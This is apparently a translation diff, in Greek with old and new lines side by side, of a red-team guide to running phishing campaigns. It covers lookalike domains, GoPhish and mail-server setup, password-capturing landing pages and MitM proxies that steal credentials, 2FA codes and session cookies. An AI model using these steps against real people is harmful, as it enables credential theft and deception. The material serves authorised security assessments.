- **Missing dot**: Επικολλά το TLD στο όνομα domain. (π.χ., zelstercom.com)
- **Transposition:** Ανταλλάσσει **δύο γράμματα** μέσα στο όνομα domain (e.g., zelsetr.com).
- **Singularization/Pluralization**: Προσθέτει ή αφαιρεί “s” στο τέλος του ονόματος domain (e.g., zeltsers.com).
- **Omission**: Αφαιρεί **ένα** από τα γράμματα του ονόματος domain (e.g., zelser.com).
- **Repetition:** Επαναλαμβάνει **ένα** από τα γράμματα στο όνομα domain (e.g., zeltsser.com).
- **Replacement**: Όπως το homoglyph αλλά λιγότερο διακριτικό. Αντικαθιστά ένα από τα γράμματα στο όνομα domain, ίσως με γράμμα κοντά στο αρχικό στο πληκτρολόγιο (e.g, zektser.com).
- **Subdomained**: Εισάγει μια **τελεία** μέσα στο όνομα domain (e.g., ze.lster.com).
- **Insertion**: Εισάγει **ένα γράμμα** στο όνομα domain (e.g., zerltser.com).
- **Missing dot**: Προσθέτει το TLD στο όνομα domain χωρίς τελεία. (e.g., zelstercom.com)
**Automatic Tools**
@ -52,25 +52,25 @@ homograph-attacks.md
### Bitflipping
Υπάρχει η **πιθανότητα ότι κάποιο από τα bits που αποθηκεύονται ή βρίσκονται σε επικοινωνία να αλλάξει αυτόματα** λόγω διαφόρων παραγόντων όπως ηλιακές εκλάμψεις, κοσμικές ακτίνες ή σφάλματα υλικού.
Υπάρχει η **πιθανότητα ότι κάποιο από τα bits που αποθηκεύονται ή διακινούνται να αναστραφεί αυτόματα** λόγω διάφορων παραγόντων όπως ηλιακές εκλάμψεις, κοσμικές ακτίνες ή σφάλματα υλικού.
Όταν αυτή η έννοια **εφαρμόζεται σε DNS αιτήματα**, είναι πιθανό ότι το **domain που λαμβάνει ο DNS server** να μην είναι το ίδιο με το domain που αρχικά ζητήθηκε.
Όταν αυτή η έννοια **εφαρμόζεται σε DNS αιτήματα**, είναι πιθανό ότι το **domain που λαμβάνει ο DNS server** δεν είναι το ίδιο με το αρχικά ζητηθέν domain.
Για παράδειγμα, μια μεμονωμένη τροποποίηση bit στο domain "windows.com" μπορεί να το αλλάξει σε "windnws.com."
Για παράδειγμα, μια μόνo bit τροποποίηση στο domain "windows.com" μπορεί να το αλλάξει σε "windnws.com."
Οι επιτιθέμενοι μπορούν να **εκμεταλλευτούν αυτό εγγραφόμενοι σε πολλαπλά bit-flipping domains** που είναι παρόμοια με το domain του θύματος. Σκοπός τους είναι να ανακατευθύνουν νόμιμους χρήστες στην υποδομή τους.
Οι επιτιθέμενοι μπορεί να **εκμεταλλευτούν αυτό καταχωρίζοντας πολλαπλά bit-flipping domains** που είναι παρόμοια με το domain του θύματος. Σκοπός τους είναι να ανακατευθύνουν νόμιμους χρήστες στην υποδομή τους.
Για περισσότερες πληροφορίες διαβάστε [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
### Buy a trusted domain
Μπορείτε να αναζητήσετε στο [https://www.expireddomains.net/](https://www.expireddomains.net) για ένα expired domain που θα μπορούσατε να χρησιμοποιήσετε.\
Μπορείτε να ψάξετε στο [https://www.expireddomains.net/](https://www.expireddomains.net) για ένα expired domain που θα μπορούσατε να χρησιμοποιήσετε.\
Για να βεβαιωθείτε ότι το expired domain που πρόκειται να αγοράσετε **έχει ήδη καλό SEO** μπορείτε να ελέγξετε πώς είναι κατηγοριοποιημένο σε:
- [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
- [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
## Discovering Emails
## Εντοπισμός διευθύνσεων email
- [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% free)
- [https://phonebook.cz/](https://phonebook.cz) (100% free)
@ -78,17 +78,17 @@ homograph-attacks.md
- [https://hunter.io/](https://hunter.io)
- [https://anymailfinder.com/](https://anymailfinder.com)
Για να **εντοπίσετε περισσότερες** έγκυρες διευθύνσεις email ή να **επαληθεύσετε αυτές** που έχετε ήδη εντοπίσει μπορείτε να ελέγξετε αν μπορείτε να brute-force τους smtp servers του θύματος. [Μάθετε πώς να επαληθεύετε/εντοπίζετε διευθύνσεις email εδώ](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
Επιπλέον, μην ξεχνάτε ότι αν οι χρήστες χρησιμοποιούν **οποιοδήποτε web portal για πρόσβαση στα mails τους**, μπορείτε να ελέγξετε αν είναι ευάλωτο σε **username brute force**, και να εκμεταλλευτείτε την ευπάθεια αν είναι δυνατόν.
Για να **εντοπίσετε περισσότερες** έγκυρες διευθύνσεις email ή να **επαληθεύσετε αυτές** που έχετε ήδη εντοπίσει, μπορείτε να ελέγξετε αν μπορείτε να τις brute-force στους smtp servers του θύματος. [Μάθετε πώς να επαληθεύσετε/εντοπίσετε διεύθυνση email εδώ](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
Επιπλέον, μην ξεχάσετε ότι αν οι χρήστες χρησιμοποιούν **κάποια web portal για να έχουν πρόσβαση στα mail τους**, μπορείτε να ελέγξετε αν είναι ευάλωτο σε **username brute force**, και να εκμεταλλευτείτε την ευπάθεια αν είναι δυνατό.
## Configuring GoPhish
## Διαμόρφωση GoPhish
### Installation
### Εγκατάσταση
You can download it from [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
Μπορείτε να το κατεβάσετε από [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
Download and decompress it inside `/opt/gophish` and execute `/opt/gophish/gophish`\
Θα σας δοθεί ένας κωδικός για τον admin χρήστη στην έξοδο (port 3333). Επομένως, προσπελάστε αυτή την πόρτα και χρησιμοποιήστε αυτά τα διαπιστευτήρια για να αλλάξετε τον κωδικό του admin. Ενδέχεται να χρειαστεί να tunnel αυτή την πόρτα τοπικά:
Κατεβάστε και αποσυμπιέστε το μέσα στο `/opt/gophish` και εκτελέστε `/opt/gophish/gophish`\
Θα σας δοθεί ένας κωδικός για τον admin user στο port 3333 στην έξοδο. Επομένως, προσπελάστε αυτό το port και χρησιμοποιήστε αυτά τα credentials για να αλλάξετε τον admin password. Ενδέχεται να χρειαστεί να κάνετε tunnel αυτό το port τοπικά:
```bash
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
```
@ -96,7 +96,7 @@ ssh -L 3333:127.0.0.1:3333 <user>@<ip>
**Διαμόρφωση πιστοποιητικού TLS**
Πριν από αυτό το βήμα πρέπει να έχετε **ήδη αγοράσει το domain** που πρόκειται να χρησιμοποιήσετε και αυτό πρέπει να **δείχνει** στην **IP του VPS** όπου ρυθμίζετε το **gophish**.
Πριν από αυτό το βήμα θα πρέπει να έχετε **ήδη αγοράσει το domain** που θα χρησιμοποιήσετε και πρέπει να **δείχνει** στην **IP του VPS** όπου ρυθμίζετε το **gophish**.
```bash
DOMAIN="<domain>"
wget https://dl.eff.org/certbot-auto
@ -112,11 +112,11 @@ mkdir /opt/gophish/ssl_keys
cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem
cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
```
**Ρύθμιση αλληλογραφίας**
**Διαμόρφωση Mail**
Ξεκινήστε την εγκατάσταση: `apt-get install postfix`
Στη συνέχεια προσθέστε το domain στα παρακάτω αρχεία:
Στη συνέχεια προσθέστε το domain στα εξής αρχεία:
- **/etc/postfix/virtual_domains**
- **/etc/postfix/transport**
@ -127,9 +127,9 @@ cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
`myhostname = <domain>`\
`mydestination = $myhostname, <domain>, localhost.com, localhost`
Τέλος τροποποιήστε τα αρχεία **`/etc/hostname`** και **`/etc/mailname`** ώστε να περιέχουν το domain σας και **επανεκκινήστε το VPS σας.**
Τέλος τροποποιήστε τα αρχεία **`/etc/hostname`** και **`/etc/mailname`** στο domain σας και **επανεκκινήστε το VPS σας.**
Τώρα δημιουργήστε μια **DNS A record** για το `mail.<domain>` που να δείχνει στη **ip address** του VPS και μια **DNS MX** εγγραφή που να δείχνει σε `mail.<domain>`
Τώρα, δημιουργήστε μια **DNS A record** για `mail.<domain>` που δείχνει στη **διεύθυνση ip** του VPS και μια **DNS MX** εγγραφή που δείχνει σε `mail.<domain>`
Τώρα ας δοκιμάσουμε να στείλουμε ένα email:
```bash
@ -139,7 +139,7 @@ echo "This is the body of the email" | mail -s "This is the subject line" test@e
**Gophish διαμόρφωση**
Σταματήστε την εκτέλεση του gophish και ας το διαμορφώσουμε.\
Τροποποιήστε `/opt/gophish/config.json` ως εξής (σημειώστε τη χρήση του https):
Τροποποιήστε το `/opt/gophish/config.json` ως εξής (σημειώστε τη χρήση του https):
```bash
{
"admin_server": {
@ -164,9 +164,9 @@ echo "This is the body of the email" | mail -s "This is the subject line" test@e
}
}
```
**Διαμόρφωση gophish service**
**Ρύθμιση υπηρεσίας gophish**
Για να δημιουργήσετε το gophish service ώστε να μπορεί να ξεκινά αυτόματα και να διαχειρίζεται ως service, δημιουργήστε το αρχείο `/etc/init.d/gophish` με το ακόλουθο περιεχόμενο:
Για να δημιουργήσετε την υπηρεσία gophish ώστε να μπορεί να ξεκινά αυτόματα και να διαχειρίζεται ως υπηρεσία, μπορείτε να δημιουργήσετε το αρχείο `/etc/init.d/gophish` με το ακόλουθο περιεχόμενο:
```bash
#!/bin/bash
# /etc/init.d/gophish
@ -213,7 +213,7 @@ case $1 in
start|stop|status) "$1" ;;
esac
```
Ολοκληρώστε τη ρύθμιση της υπηρεσίας και ελέγξτε ότι λειτουργεί κάνοντας:
Ολοκληρώστε τη ρύθμιση της υπηρεσίας και τον έλεγχό της κάνοντας:
```bash
mkdir /var/log/gophish
chmod +x /etc/init.d/gophish
@ -224,60 +224,60 @@ service gophish status
ss -l | grep "3333\|443"
service gophish stop
```
## Διαμόρφωση mail server και domain
## Διαμόρφωση διακομιστή αλληλογραφίας και domain
### Περίμενε και να είσαι νόμιμος
### Περίμενε & να είσαι νόμιμος
Όσο παλαιότερο είναι ένα domain τόσο λιγότερο πιθανό είναι να χαρακτηριστεί ως spam. Γι' αυτό πρέπει να περιμένετε όσο το δυνατόν περισσότερο (τουλάχιστον 1 εβδομάδα) πριν την αξιολόγηση phishing. Επιπλέον, αν δημοσιεύσετε μια σελίδα σχετική με έναν κλάδο με καλή φήμη, η απόκτηση θετικής φήμης θα είναι καλύτερη.
Όσο παλαιότερο είναι ένα domain, τόσο λιγότερο πιθανό είναι να χαρακτηριστεί ως spam. Συνεπώς, πρέπει να περιμένεις όσο το δυνατόν περισσότερο (τουλάχιστον 1 εβδομάδα) πριν την phishing αξιολόγηση. Επιπλέον, αν ανεβάσεις μία σελίδα σχετική με έναν τομέα με καλή φήμη, η αποκτούμενη φήμη θα είναι καλύτερη.
Σημειώστε ότι ακόμα κι αν πρέπει να περιμένετε μία εβδομάδα, μπορείτε να ολοκληρώσετε τη διαμόρφωση τώρα.
Σημείωση ότι ακόμα κι αν πρέπει να περιμένεις μία εβδομάδα, μπορείς να ολοκληρώσεις τώρα όλη τη διαμόρφωση.
### Configure Reverse DNS (rDNS) record
### Διαμόρφωση Reverse DNS (rDNS) record
Ορίστε ένα rDNS (PTR) record που αντιστοιχίζει τη διεύθυνση IP του VPS στο domain.
Ρύθμισε ένα rDNS (PTR) record που αντιστοιχίζει τη διεύθυνση IP του VPS στο domain name.
### Sender Policy Framework (SPF) Record
Πρέπει να **διαμορφώσετε ένα SPF record για το νέο domain**. Εάν δεν ξέρετε τι είναι ένα SPF record [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
Πρέπει **να ρυθμίσεις ένα SPF record για το νέο domain**. If you don't know what is a SPF record [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
Μπορείτε να χρησιμοποιήσετε [https://www.spfwizard.net/](https://www.spfwizard.net) για να δημιουργήσετε την πολιτική SPF σας (χρησιμοποιήστε την IP της μηχανής VPS)
Μπορείς να χρησιμοποιήσεις [https://www.spfwizard.net/](https://www.spfwizard.net) για να δημιουργήσεις την πολιτική SPF σου (χρησιμοποίησε τη διεύθυνση IP της μηχανής VPS)
![](<../../images/image (1037).png>)
Αυτό είναι το περιεχόμενο που πρέπει να οριστεί μέσα σε ένα TXT record στο domain:
Αυτό είναι το περιεχόμενο που πρέπει να καταχωρηθεί μέσα σε ένα TXT record στο domain:
```bash
v=spf1 mx a ip4:ip.ip.ip.ip ?all
```
### Εγγραφή Domain-based Message Authentication, Reporting & Conformance (DMARC)
### Εγγραφή DMARC (Domain-based Message Authentication, Reporting & Conformance)
Πρέπει να **διαμορφώσετε μια εγγραφή DMARC για το νέο domain**. Αν δεν ξέρετε τι είναι μια εγγραφή DMARC, [**διαβάστε αυτή τη σελίδα**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc).
Πρέπει να **διαμορφώσετε μια εγγραφή DMARC για το νέο domain**. Αν δεν ξέρετε τι είναι μια εγγραφή DMARC [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc).
Πρέπει να δημιουργήσετε μια νέα εγγραφή DNS TXT που δείχνει στο hostname `_dmarc.<domain>` με το ακόλουθο περιεχόμενο:
Πρέπει να δημιουργήσετε μια νέα DNS TXT εγγραφή που δείχνει στο hostname `_dmarc.<domain>` με το ακόλουθο περιεχόμενο:
```bash
v=DMARC1; p=none
```
### DomainKeys Identified Mail (DKIM)
Πρέπει να **ρυθμίσετε ένα DKIM για το νέο domain**. Αν δεν ξέρετε τι είναι μια εγγραφή DMARC [**διαβάστε αυτή τη σελίδα**](../../network-services-pentesting/pentesting-smtp/index.html#dkim).
Πρέπει να **ρυθμίσετε DKIM για το νέο domain**. Αν δεν ξέρετε τι είναι μια εγγραφή DMARC, [**διαβάστε αυτή τη σελίδα**](../../network-services-pentesting/pentesting-smtp/index.html#dkim).
This tutorial is based on: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
> [!TIP]
> Πρέπει να συνενώσετε και τις δύο τιμές B64 που παράγει το DKIM key:
> Πρέπει να συνενώσετε και τις δύο τιμές B64 που δημιουργεί το κλειδί DKIM:
>
> ```
> v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB
> ```
### Test your email configuration score
### Δοκιμάστε το σκορ διαμόρφωσης του email σας
Μπορείτε να το κάνετε χρησιμοποιώντας [https://www.mail-tester.com/](https://www.mail-tester.com)\
Απλώς μπείτε στη σελίδα και στείλτε ένα email στη διεύθυνση που σας δίνουν:
```bash
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
```
Μπορείτε επίσης να **ελέγξετε τη ρύθμιση του email σας** στέλνοντας ένα email στο `check-auth@verifier.port25.com` και **διαβάζοντας την απάντηση** (για αυτό θα χρειαστεί να **ανοίξετε** τη θύρα **25** και να δείτε την απάντηση στο αρχείο _/var/mail/root_ αν στείλετε το email ως root).\
Ελέγξτε ότι περνάτε όλα τα τεστ:
Μπορείτε επίσης να **ελέγξετε τη ρύθμιση του email σας** στέλνοντας ένα email στο `check-auth@verifier.port25.com` και **διαβάζοντας την απάντηση** (για αυτό θα χρειαστεί να **ανοίξετε** port **25** και να δείτε την απάντηση στο αρχείο _/var/mail/root_ αν στείλετε το email ως root).\
Ελέγξτε ότι περνάτε όλα τα tests:
```bash
==========================================================
Summary of Results
@ -288,40 +288,40 @@ DKIM check: pass
Sender-ID check: pass
SpamAssassin check: ham
```
Μπορείτε επίσης να στείλετε **μήνυμα σε Gmail που ελέγχετε**, και να ελέγξετε τις **κεφαλίδες του email** στο inbox σας στο Gmail — το `dkim=pass` πρέπει να εμφανίζεται στο header `Authentication-Results`.
Μπορείτε επίσης να στείλετε **μήνυμα σε έναν λογαριασμό Gmail που έχετε υπό τον έλεγχό σας**, και να ελέγξετε τις **κεφαλίδες του email** στο inbox του Gmail σας, `dkim=pass` πρέπει να είναι παρόν στο πεδίο κεφαλίδας `Authentication-Results`.
```
Authentication-Results: mx.google.com;
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
dkim=pass header.i=@example.com;
```
### Αφαίρεση από τη Μαύρη Λίστα του Spamhouse
### Αφαίρεση από Spamhouse Blacklist
Η σελίδα [www.mail-tester.com](https://www.mail-tester.com) μπορεί να σας δείξει αν το domain σας μπλοκάρεται από το spamhouse. Μπορείτε να ζητήσετε να αφαιρεθεί το domain/IP σας στο: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
Η σελίδα [www.mail-tester.com](https://www.mail-tester.com) μπορεί να σας δείξει αν το domain σας αποκλείεται από το spamhouse. Μπορείτε να ζητήσετε την αφαίρεση του domain/IP στη διεύθυνση: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
### Αφαίρεση από τη Μαύρη Λίστα της Microsoft
### Αφαίρεση από Microsoft Blacklist
Μπορείτε να ζητήσετε την αφαίρεση του domain/IP σας στο [https://sender.office.com/](https://sender.office.com).
Μπορείτε να ζητήσετε την αφαίρεση του domain/IP στη διεύθυνση [https://sender.office.com/](https://sender.office.com).
## Δημιουργία & Εκκίνηση Εκστρατείας GoPhish
## Δημιουργία & Εκκίνηση GoPhish Campaign
### Προφίλ Αποστολής
- Ορίστε ένα **όνομα για αναγνώριση** του προφίλ αποστολέα
- Αποφασίστε από ποιο λογαριασμό θα στείλετε τα phishing emails. Προτάσεις: _noreply, support, servicedesk, salesforce..._
- Αποφασίστε από ποιον λογαριασμό θα στείλετε τα phishing emails. Προτάσεις: _noreply, support, servicedesk, salesforce..._
- Μπορείτε να αφήσετε κενά το username και το password, αλλά βεβαιωθείτε ότι έχετε επιλέξει το Ignore Certificate Errors
![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
> [!TIP]
> Συνιστάται να χρησιμοποιήσετε τη λειτουργία "**Send Test Email**" για να ελέγξετε ότι όλα λειτουργούν.\
> Θα συνιστούσα να **στείλετε τα test emails σε διευθύνσεις 10min mails** ώστε να αποφύγετε να μπείτε σε blacklist κατά τις δοκιμές.
> Θα πρότεινα να **στείλετε τα test emails σε διευθύνσεις 10min mails** για να αποφύγετε να μπείτε σε blacklist κάνοντας δοκιμές.
### Πρότυπο Email
- Ορίστε ένα **όνομα για αναγνώριση** του προτύπου
- Στη συνέχεια γράψτε ένα **θέμα** (τίποτα παράξενο, απλώς κάτι που θα περιμένατε να διαβάσετε σε ένα κανονικό email)
- Στη συνέχεια γράψτε ένα **subject** (τίποτα περίεργο, απλώς κάτι που θα περιμένατε να δείτε σε ένα κανονικό email)
- Βεβαιωθείτε ότι έχετε επιλέξει "**Add Tracking Image**"
- Γράψτε το **email template** (μπορείτε να χρησιμοποιήσετε μεταβλητές όπως στο παρακάτω παράδειγμα):
- Γράψτε το **πρότυπο email** (μπορείτε να χρησιμοποιήσετε μεταβλητές όπως στο παρακάτω παράδειγμα):
```html
<html>
<head>
@ -340,56 +340,56 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
</body>
</html>
```
Note that **in order to increase the credibility of the email**, it's recommended to use some signature from an email from the client. Suggestions:
Σημειώστε ότι **για να αυξήσετε την αξιοπιστία του email**, συνιστάται να χρησιμοποιήσετε κάποια υπογραφή από ένα πραγματικό email του πελάτη. Προτάσεις:
- Send an email to a **μη υπάρχουσα διεύθυνση** and check if the response has any signature.
- Search for **δημόσιες διευθύνσεις email** like info@ex.com or press@ex.com or public@ex.com and send them an email and wait for the response.
- Try to contact **κάποια έγκυρη εντοπισμένη** διεύθυνση email and wait for the response
- Στείλτε ένα email σε μια **μη υπαρκτή διεύθυνση** και ελέγξτε αν η απάντηση περιέχει κάποια υπογραφή.
- Αναζητήστε **δημόσια emails** όπως info@ex.com ή press@ex.com ή public@ex.com και στείλτε τους ένα email και περιμένετε την απάντηση.
- Προσπαθήστε να επικοινωνήσετε με **κάποιον έγκυρο ανακαλυφθέν** email και περιμένετε την απάντηση
![](<../../images/image (80).png>)
> [!TIP]
> Το Πρότυπο Email επίσης επιτρέπει να **επισυνάψετε αρχεία για αποστολή**. Αν θέλετε επίσης να κλέψετε NTLM challenges χρησιμοποιώντας κάποια ειδικά κατασκευασμένα αρχεία/έγγραφα [read this page](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
> Το Email Template επίσης επιτρέπει να **επισυνάψετε αρχεία προς αποστολή**. Αν θέλετε επίσης να κλέψετε NTLM challenges χρησιμοποιώντας κάποια ειδικά δημιουργημένα αρχεία/έγγραφα, διαβάστε αυτή τη σελίδα: [read this page](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
### Landing Page
- Γράψτε ένα **όνομα**
- **Γράψτε τον HTML κώδικα** της ιστοσελίδας. Σημειώστε ότι μπορείτε να **import** web pages.
- **Γράψτε τον HTML κώδικα** της σελίδας. Σημειώστε ότι μπορείτε να **import** web pages.
- Επιλέξτε **Capture Submitted Data** και **Capture Passwords**
- Ορίστε μία **ανακατεύθυνση**
- Ορίστε μια **ανακατεύθυνση**
![](<../../images/image (826).png>)
> [!TIP]
> Συνήθως θα χρειαστεί να τροποποιήσετε τον HTML κώδικα της σελίδας και να κάνετε δοκιμές τοπικά (ίσως χρησιμοποιώντας κάποιον Apache server) **μέχρι να σας ικανοποιήσει το αποτέλεσμα.** Στη συνέχεια, επικολλήστε αυτόν τον HTML κώδικα στο πλαίσιο.\
> Σημειώστε ότι αν χρειάζεστε **στατικά resources** για το HTML (π.χ. κάποιες CSS και JS σελίδες) μπορείτε να τα αποθηκεύσετε στο _**/opt/gophish/static/endpoint**_ και μετά να αποκτήσετε πρόσβαση από το _**/static/\<filename>**_
> Συνήθως θα χρειαστεί να τροποποιήσετε τον HTML κώδικα της σελίδας και να κάνετε δοκιμές τοπικά (ίσως χρησιμοποιώντας κάποιον Apache server) **έως ότου μείνετε ικανοποιημένοι με το αποτέλεσμα.** Έπειτα, γράψτε αυτόν τον HTML κώδικα στο πλαίσιο.\
> Σημειώστε ότι αν χρειάζεστε να **χρησιμοποιήσετε στατικά resources** για το HTML (όπως CSS και JS αρχεία) μπορείτε να τα αποθηκεύσετε στο _**/opt/gophish/static/endpoint**_ και μετά να τα προσπελάσετε από _**/static/\<filename>**_
> [!TIP]
> Για την ανακατεύθυνση μπορείτε να **ανακατευθύνετε τους χρήστες στην νόμιμη κύρια σελίδα** του θύματος, ή να τους ανακατευθύνετε σε _/static/migration.html_ για παράδειγμα, να βάλετε έναν **spinning wheel (**[**https://loading.io/**](https://loading.io)**) για 5 δευτερόλεπτα και μετά να υποδείξετε ότι η διαδικασία ολοκληρώθηκε με επιτυχία**.
> Για την ανακατεύθυνση μπορείτε **να κατευθύνετε τους χρήστες στην νόμιμη κύρια σελίδα** του θύματος, ή να τους κατευθύνετε στο _/static/migration.html_ για παράδειγμα, να βάλετε έναν **spinning wheel (**[**https://loading.io/**](https://loading.io)**) για 5 δευτερόλεπτα και μετά να υποδείξετε ότι η διαδικασία ολοκληρώθηκε με επιτυχία**.
### Users & Groups
- Ορίστε ένα όνομα
- **Import the data** (σημειώστε ότι για να χρησιμοποιήσετε το template στο παράδειγμα χρειάζεστε το firstname, last name and email address κάθε χρήστη)
- **Import the data** (σημειώστε ότι για να χρησιμοποιήσετε το template στο παράδειγμα χρειάζεστε το firstname, last name και email address κάθε χρήστη)
![](<../../images/image (163).png>)
### Campaign
Τέλος, δημιουργήστε μία campaign επιλέγοντας ένα όνομα, το email template, τη landing page, το URL, το sending profile και την group. Σημειώστε ότι το URL θα είναι ο σύνδεσμος που θα αποσταλεί στα θύματα
Τέλος, δημιουργήστε μια campaign επιλέγοντας ένα όνομα, το email template, τη landing page, το URL, το sending profile και την group. Σημειώστε ότι το URL θα είναι ο σύνδεσμος που θα σταλεί στα θύματα
Note that the **Sending Profile allow to send a test email to see how will the final phishing email looks like**:
Σημειώστε ότι το **Sending Profile επιτρέπει την αποστολή ενός test email για να δείτε πώς θα φαίνεται το τελικό phishing email**:
![](<../../images/image (192).png>)
> [!TIP]
> Συστήνω να **στείλετε τα test emails σε 10min mails addresses** ώστε να αποφύγετε να μπλοκαριστείτε κατά τις δοκιμές.
> Θα πρότεινα να **στείλετε τα test emails σε 10min mails διευθύνσεις** προκειμένου να αποφύγετε το να μπείτε σε blacklist κατά τις δοκιμές.
Μόλις όλα είναι έτοιμα, απλά εκκινήστε την καμπάνια!
Μόλις όλα είναι έτοιμα, απλώς ξεκινήστε την campaign!
## Website Cloning
If for any reason you want to clone the website check the following page:
Αν για οποιονδήποτε λόγο θέλετε να κλωνοποιήσετε τον ιστότοπο ελέγξτε την παρακάτω σελίδα:
{{#ref}}
@ -398,8 +398,8 @@ clone-a-website.md
## Backdoored Documents & Files
Σε ορισμένες phishing αξιολογήσεις (κυρίως για Red Teams) ίσως θελήσετε επίσης να **στείλετε αρχεία που περιέχουν κάποιο είδος backdoor** (ίσως ένα C2 ή ίσως κάτι που θα πυροδοτήσει ένα authentication).\
Δείτε την ακόλουθη σελίδα για μερικά παραδείγματα:
Σε ορισμένες phishing αξιολογήσεις (κυρίως για Red Teams) μπορεί να θελήσετε επίσης να **στείλετε αρχεία που περιέχουν κάποιο είδος backdoor** (ίσως ένα C2 ή ίσως κάτι που θα ενεργοποιήσει αυθεντικοποίηση).\
Δείτε την παρακάτω σελίδα για μερικά παραδείγματα:
{{#ref}}
@ -410,53 +410,53 @@ phishing-documents.md
### Via Proxy MitM
Η προηγούμενη επίθεση είναι αρκετά έξυπνη καθώς μιμείστε μια πραγματική ιστοσελίδα και μαζεύετε τα δεδομένα που βάζει ο χρήστης. Δυστυχώς, αν ο χρήστης δεν έβαλε το σωστό password ή αν η εφαρμογή που μιμηθήκατε είναι ρυθμισμένη με 2FA, **αυτές οι πληροφορίες δεν θα σας επιτρέψουν να μιμηθείτε τον εξαπατημένο χρήστη**.
Η προηγούμενη επίθεση είναι αρκετά έξυπνη καθώς πλαστογραφείτε μια πραγματική ιστοσελίδα και συγκεντρώνετε τις πληροφορίες που εισάγει ο χρήστης. Δυστυχώς, αν ο χρήστης δεν εισάγει τον σωστό κωδικό ή αν η εφαρμογή που πλαστογράφησε έχει ενεργοποιημένο 2FA, **αυτές οι πληροφορίες δεν θα σας επιτρέψουν να προσποιηθείτε τον παραπλανημένο χρήστη**.
Εδώ είναι χρήσιμα εργαλεία όπως [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) και [**muraena**](https://github.com/muraenateam/muraena). Αυτό το εργαλείο θα σας επιτρέψει να δημιουργήσετε μια επίθεση τύπου MitM. Βασικά, η επίθεση λειτουργεί ως εξής:
Εδώ είναι χρήσιμα εργαλεία όπως [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) και [**muraena**](https://github.com/muraenateam/muraena). Αυτό το εργαλείο θα σας επιτρέψει να δημιουργήσετε μια MitM επίθεση. Βασικά, η επίθεση λειτουργεί ως εξής:
1. Εσείς **μιμείστε τη φόρμα login** της πραγματικής ιστοσελίδας.
2. Ο χρήστης **στέλνει** τα **credentials** του στη ψεύτικη σελίδα και το εργαλείο τα στέλνει στην πραγματική σελίδα, **ελέγχοντας αν τα credentials λειτουργούν**.
3. Αν ο λογαριασμός είναι ρυθμισμένος με **2FA**, η MitM σελίδα θα το ζητήσει και μόλις ο **χρήστης το εισάγει** το εργαλείο θα το στείλει στην πραγματική σελίδα.
4. Μόλις ο χρήστης πιστοποιηθεί, εσείς (ως attacker) θα έχετε **συλλέξει τα credentials, το 2FA, το cookie και οποιαδήποτε πληροφορία** από κάθε αλληλεπίδραση ενώ το εργαλείο πραγματοποιεί MitM.
1. Εσείς **πλαστογραφείτε τη φόρμα login** της πραγματικής σελίδας.
2. Ο χρήστης **στέλνει** τα **credentials** του στη ψεύτικη σελίδα και το εργαλείο τα προωθεί στην πραγματική σελίδα, **ελέγχοντας αν τα credentials λειτουργούν**.
